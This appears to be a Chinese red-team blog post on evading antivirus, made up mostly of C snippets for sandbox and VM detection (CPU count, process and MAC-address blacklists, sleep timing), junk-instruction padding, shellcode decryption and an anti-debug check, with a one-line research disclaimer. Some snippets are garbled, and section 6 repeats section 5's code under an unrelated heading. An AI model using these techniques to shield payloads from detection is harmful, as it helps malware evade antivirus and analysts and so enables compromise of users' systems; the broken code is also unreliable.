红队技巧----------软件ANTI AV

检查是否在虚拟机或沙箱内运行：

1、检查CPU核心数：

```
``SYSTEM_INFO SysGuide;`
    `GetSystemInfo(&SysGuide);`
    `int CoreNum = SysGuide.dwNumberOfProcessors;`
    `if (CoreNum < 2)`
    `{`
`•  return false;`
    `exit(-1)•`
    }``
```

2、检查内存

```
``char *Memdmp = NULL;`
    `Memdmp = (char *)malloc(100000000);`
    `if (Memdmp != NULL) {`
        `memset(Memdmp, 00, 100000000);`
        `free(Memdmp);`
    }`
```

3、检查进程，如果有以下进程就exit()

```
char process_blacklist[PROCESS_BLACKLIST_MAX][PROCESS_NAME_MAX] = {`
    `"vmsrvc",`
    `"tcpview",`
    `"wireshark",`
    `"visual basic",`
    `"fiddler",`
    `"vmware",`
    `"vbox",`
    `"process explorer",`
    `"autoit",`
    `"vboxtray",`
    `"vmtools",`
    `"vmrawdsk",`
    `"vmusbmouse",`
    `"vmvss",`
    `"vmscsi",`
    `"vmxnet",`
    `"vmx_svga",`
    `"vmmemctl",`
    `"df5serv",`
    `"vboxservice",`
    `"vmhgfs",`
    `"vmtoolsd"`
`};`

int check_process_running(char* process_name){
```

```
    unsigned int x;
    for (x = 0; x < PROCESS_BLACKLIST_MAX; x++){
    if ( strcmp(process_name,process_blacklist[x] ) == 0 ){
        return -1;
    }
}

return 0;
    }
```

4、mac黑名单

```
`char macs_blacklist[MACS_MAX][MACS_LENGTH_MAX] = {`
    `"080027",`
    `"000569",`
    `"000C29",`
    `"001C14",`
    `"005056",`
    `"001C42",`
    `"00163E",`
    `"0A0027"`
`};`
```

5、通过判断软件的运行时间

```
int check_sleep_acceleration(){
 int* first_time, second_time;
   first_time = get_current_time();
 Sleep(120000); // Sleeps 2 minutes
   second_time = get_current_time();
   if ( (first_time - second_time) < 2){
 return -1;
 }
   return 0;
 }
```

6、敏感函数使用其地址去替换

```
int check_sleep_acceleration(){
 int* first_time, second_time;
   first_time = get_current_time();
 Sleep(120000); // Sleeps 2 minutes
   second_time = get_current_time();
   if ( (first_time - second_time) < 2){
 return -1;
 }
   return 0;
 }
```

7、当然花指令是不可缺少

```


void spam_nops()
{
    __asm(
```

```
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
);
return;
    }
```

8、shellcode也要对其进行加密

```
int decrypt_function(int characterSet[][CHARACTER_SET_SIZE], unsigned char *key,
unsigned char *ciphertext){
 int shellcodeLength = strlen((char *)ciphertext);
 unsigned char originalPayload[shellcodeLength];
   for (int i = 0; i < shellcodeLength; i++)
 {
 int encryptedByte = (int)ciphertext[i];
 int keyByte = (int)key[i];
   for (int i2 = 0; i2 < CHARACTER_SET_SIZE; i2++)
 {
 __asm(
 "PUSH %EAX;"
 "XOR %EAX, %EAX;"
 "JZ True1;"
   "True1:"
 "POP %EAX;"
 );
 spam_nops();
   if (characterSet[keyByte - FIRST_BYTE][i2] == encryptedByte)
 {
   originalPayload[i] = (unsigned char)characterSet[0][i2];
 break;
 }
 }
 }
 strcpy(&shellcode,&originalPayload);
 return 0;
 }
```

8、利用VEH反调试

```
NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi),
&ReturnLength);
PPEB pPEB = (PPEB)pbi.PebBaseAddress;

SIZE_T Written;
```

```
DWORD64 CrossProcessFlags = -1;
ReadProcessMemory(hProcess, (PBYTE)pPEB + 0x50, (LPVOID)&CrossProcessFlags,
sizeof(DWORD64), &Written);

printf("[*] CrossProcessFlags : %p\n", CrossProcessFlags);
if (CrossProcessFlags & 0x4) {
    printf("[*] veh set\n");
}
else {
    printf("[*] veh unset\n");
}
```

技术免责声明

本文仅作技术性研究.请酌情使用,由此引发的一系列后果请自行承担.

By:AhRMo